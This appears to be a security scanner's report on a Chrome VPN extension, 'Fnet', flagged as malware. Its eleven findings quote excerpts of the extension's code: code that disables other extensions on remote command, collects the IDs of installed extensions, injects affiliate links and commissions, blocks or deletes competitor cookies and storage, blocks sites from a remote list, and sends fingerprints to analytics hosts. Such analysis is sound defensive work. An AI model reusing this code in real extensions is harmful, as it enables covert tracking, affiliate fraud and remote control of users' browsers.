Security Alert: Confirmed Malware
Fnet - Доступ к сайтам!
ID: ichhfdldoddmimpajkijflgkifkgeffg
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- pavelkuranenkoView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Доступ к вашим любимым сайтам!
Fnet: Доступ к вашим любимым сайтам! Если у вас есть какие-либо технические проблемы, пожалуйста, напишите нам по адресу [email protected] Fnet требует следующих разрешений: - Proxy: расширение Fnet проксирует ваш трафик через сервер в другой страна, чтобы изменить свой IP и разблокировать ограниченные сайты. - AllHosts / WebRequest / WebRequestBlocking: позволить расширению Fnet проверять каждый веб-запрос и изменять его.. - Tabs: Fnet отслеживает ваши вкладки и включает VPN только на определенных вкладках и показывает всплывающее окно на странице, чтобы позволить вам включать, отключать и исправлять проблемы с подключением. - Cookies: Fnet получит доступ к вашим куки. Некоторые сайты кэшируют вашу страну в файлах cookie, и необходимо очистить их, прежде чем вы сможете получить доступ к этому сайту из другой страны. - Stroge: Fnet хранит локальную конфигурацию и данные кеша.
The extension downloads a server-controlled list of extension IDs (`disableExtList` / `dEtList`) from thewallett.com and silently calls `chrome.management.setEnabled(id, false)` on each one at startup. This gives the remote operator the ability to disable any other Chrome extension on the victim's browser by simply updating the config payload, constituting remote control malware behaviour.
t.config._.disableExtList.length > 0 && chrome.management.getAll && chrome.management.getAll((function(e) { e.forEach((function(e) { var n = e.id; e.enabled && -1 !== t.config._.disableExtList.indexOf(n) && chrome.management.setEnabled(n, !1) }))}))On installation (and whenever analytics are re-enabled) the extension enumerates every installed Chrome extension with `chrome.management.getAll` and transmits all their IDs as a JSON array to the analytics server. This lets the operator fingerprint users, track competing extensions, and build the `disableExtList` payload to neutralise them.
chrome.runtime.onInstalled.addListener(function() { // on install e.analytics.send({ ec: "Extension", ea: "Install" }); chrome.management.getAll((function(t) { var n = t.map((function(t) { return t.id })); e.analytics.send({ ec: "Management", ea: "Installed", el: JSON.stringify(n) }) }))});// also triggered on toggleGa:chrome.management.getAll((function(t) { var n = t.map((function(t) { return t.id })); e.analytics.send({ ec: "Management", ea: "Installed", el: JSON.stringify(n) })}))For every merchant site visit the extension silently POSTs an affiliate 'transaction' to `https://thewallett.com/api/transaction/create` carrying the user's extension ID, affiliate program ID, merchant ID, and activation type. The server responds with a `deepLink` URL that the extension opens in a hidden pinned tab to claim an affiliate commission — all without the user's knowledge or consent.
// Endpoint constantsvar et = "https://thewallett.com/api/transaction/create";// createTransaction payload:var c = { affiliate: o, offer_id: r, extension_id: this.extId, app: this.app, activationType: s, clickSource: u};fetch(et, { headers: l, method: "POST", body: JSON.stringify(c)});// response contains deepLink used to redirect the tab:if (f = deepLink) { chrome.tabs.create({ url: f, active: false, pinned: true })}The extension installs two persistent declarativeNetRequest rules: rule 88 silently **blocks** all network requests (including page navigations) that contain competitor affiliate tracking parameters `t_tid=` or `t_s=`, and rule 99 **redirects** matching requests to inject the extension's own tracking parameters (`ih`, `iw`). This hijacks affiliate commissions from any competing cashback or referral service the user may already be enrolled in.
// Rule 99: redirect URLs containing competitor tracker params and inject own paramschrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: 99, priority: 1, action: { type: "redirect", redirect: { transform: { queryTransform: { addOrReplaceParams: [{ key: "ih", value: r }, { key: "iw", value: n } ] } } } }, condition: { regexFilter: "/(iw=)|(ih=)|(t_tid=)|(t_s=)/gi", resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...] } }], removeRuleIds: [99]});// Rule 88: block competitor affiliate tracking requestschrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: 88, priority: 1, action: { type: "block" }, condition: { regexFilter: "(t_tid=)|(t_s=)", resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...] } }], removeRuleIds: [88]})The `blockTrackers()` method fetches a list of domains from `thewallett.com/api/configs/blockingDomains` and creates a DNR blocking rule for each one, covering all resource types including main_frame navigations. The operator can remotely block access to arbitrary websites by updating this config, giving them full censorship control over the user's browser.
// blockTrackers() downloads server-controlled domain list and blocks all of them:chrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: parseInt("100".concat(e)), priority: 1, action: { type: "block" }, condition: { urlFilter: t, // t = server-supplied domain string resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", ...] } }], removeRuleIds: [parseInt("100".concat(e))]});// Config fetched from:// V = "https://thewallett.com/api/configs/blockingDomains"When the extension activates a cashback session on a merchant site it: (1) reads all cookies for that domain via `chrome.cookies.getAll`, (2) injects a script into the merchant tab to selectively wipe localStorage and sessionStorage keys that belong to competing affiliate or cashback services, and (3) removes any cookies not in the extension's own whitelist. This constitutes cookie stuffing / affiliate fraud and destroys evidence of competing affiliate attribution.
// Cookie collection and selective deletion on merchant pages:var k = function(t) { // loops until tab is loading: chrome.cookies.getAll(t, e);};// After cashback activation, injects script to clear competitor storage:var c = function(t, e) { var n = function(t, e) { if ("*" !== e[0]) { var n = Object.keys(t); e.forEach((function(t) { n[t] && delete n[t] })); n.forEach((function(e) { t.removeItem(e) })) } }; n(localStorage, t); n(sessionStorage, e)};chrome.scripting.executeScript({ target: { tabId: u }, func: c, args: [s.localStorage, s.sessionStorage]});// Then removes cookies not in extension's whitelist:chrome.cookies.remove({ url: e, name: n.name});Every analytics event is augmented with OS, browser type, language, `extension_id`, and `extension_version` before being sent to `analytics.savematik.com`. A secondary POST goes to `analytics.besttoolbars.net/api/v1/activity/vpn` for every merchant activation. Additionally, every 12 hours the extension calls `/ext-statistic/partners` with the installation fingerprint, creating a persistent cross-session tracking profile.
// Multiple analytics exfiltration endpoints:var M = "https://analytics.savematik.com";var nt = M + "/ext-statistic/partners"; // partner statsvar rt = M + "/ga"; // GA-style eventsvar it = M + "/black"; // blacklist events// extendWithUserData attaches OS, browser, language to every payload:key: "extendWithUserData", value: function(t) { var e = { os: this.os, browser: this.browser, language: this.getLanguage() || null }; (0, v.merge)(t, e)}// sendCaaAnalytics also posts to besttoolbars.net:fetch("https://analytics.besttoolbars.net/api/v1/activity/vpn", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(e.caaAnalytics)})// extensionStatusUpdate posts extension_id + version every 12h:var e = { extension_id: this.extId, extension_version: this.extVersion};this.extendWithUserData(e);fetch(nt, { method: "POST", body: JSON.stringify(e), headers: at});The extension maintains a persistent authenticated session with thewallett.com using JWT access/refresh tokens stored in `chrome.storage.local`, sending `Extension-ID` and `Extension-Version` headers on all requests. A unique installation hash is generated on first run and used as a persistent device identifier — including in the uninstall URL, allowing the operator to track every installation's lifecycle from install through uninstall.
// JWT token authentication system:var Nt = function() { // tokenStorageKey = "auth.token" in chrome.storage.local // refreshToken via: U = "https://thewallett.com/api/auth/refresh-token" key: "getAuthHeader", value: function() { // returns {Authorization: "Bearer " + accessToken} }};// All API requests include:var i = { method: t, headers: { "Content-Type": "application/json;charset=utf-8", "Extension-ID": this.$main.info.id, "Extension-Version": this.$main.info.version }};if (jwtToken !== "") { i.headers.Authorization = "Bearer " + jwtToken;}// Uninstall tracker:chrome.runtime.setUninstallURL( config._base + "/api/extension/uninstall?id=" + storage.install.hash);When a user navigates to a merchant site, the extension silently redirects the tab to the operator's affiliate click URL (`sCashback.baseClick`) with the merchant ID, partner ID, and the user's original URL as parameters. On 'cookies_reactivate' events, it also rewrites existing URL query parameters to inject affiliate attribution. The user is unaware their browsing is being monetised via forced affiliate link injection.
// Config also contains activation redirect system:var sCashback = this.$main.config._.sCashback;// buildQuery creates affiliate click URL:var n = this.$main.api.buildQuery({ o: e.id, // merchant/offer ID p: sCashback.partnerId, // partner ID u: t._.url // user's current URL});chrome.tabs.update(t._.id, { url: "".concat(sCashback.baseClick, "?").concat(n)});// Also for cookies_reactivate:k = new URL(n);(0, v.each)(c, (function(t) { var e = t.key; if (O && O[e]) { k.searchParams.delete(e); k.searchParams.append(e, O[e]) }}));chrome.tabs.update(i, { url: k.href}, callback);The content script runs on every page (`<all_urls>`) and unconditionally injects a `<g-ext-in>` sentinel element into the DOM, plus responds to background messages to prepend `div#ext-ah-install` and `div#ext-ah-proxy-tool` containers. These injection points allow the background script to mount UI overlays or harvest page context from any website the user visits, and the sentinel can be queried by the operator's web properties to detect extension presence.
// content.bund.js injected into every page:this.messages.on("InstallBanner::inject", (function(e, t) { if (null === document.body.querySelector("div#ext-ah-install")) { var n = document.createElement("div"); n.setAttribute("id", "ext-ah-install"); document.body.prepend(n); t({ result: true }) }}));this.messages.on("ProxyTool::inject", (function(e, t) { if (null === document.body.querySelector("div#ext-ah-proxy-tool")) { var n = document.createElement("div"); n.setAttribute("id", "ext-ah-proxy-tool"); document.body.prepend(n); t({ result: true }) }}));// Also injects sentinel element into every page body:document.body.append(document.createElement("g-ext-in"));`externally_connectable` allows any page on `fnet-vpn.ru` to send messages directly into the extension's runtime, giving the operator's website the ability to trigger extension actions programmatically from the browser. Combined with `web_accessible_resources` exposing all JS and CSS files to every origin with an empty `extension_ids` array, the operator's site can communicate with and potentially fingerprint the extension from any page context.
{ "externally_connectable": { "matches": [ "https://*.fnet-vpn.ru/*" ] }, "web_accessible_resources": [ { "resources": [ "main/scripts/*.js", "main/styles/*.css" ], "matches": [ "<all_urls>" ], "extension_ids": [] } ]}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 31.30 | 11 |
Files with findings
3 distinct paths — top paths by unique finding count:
- main/scripts/background.js9
- main/scripts/content.bund.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.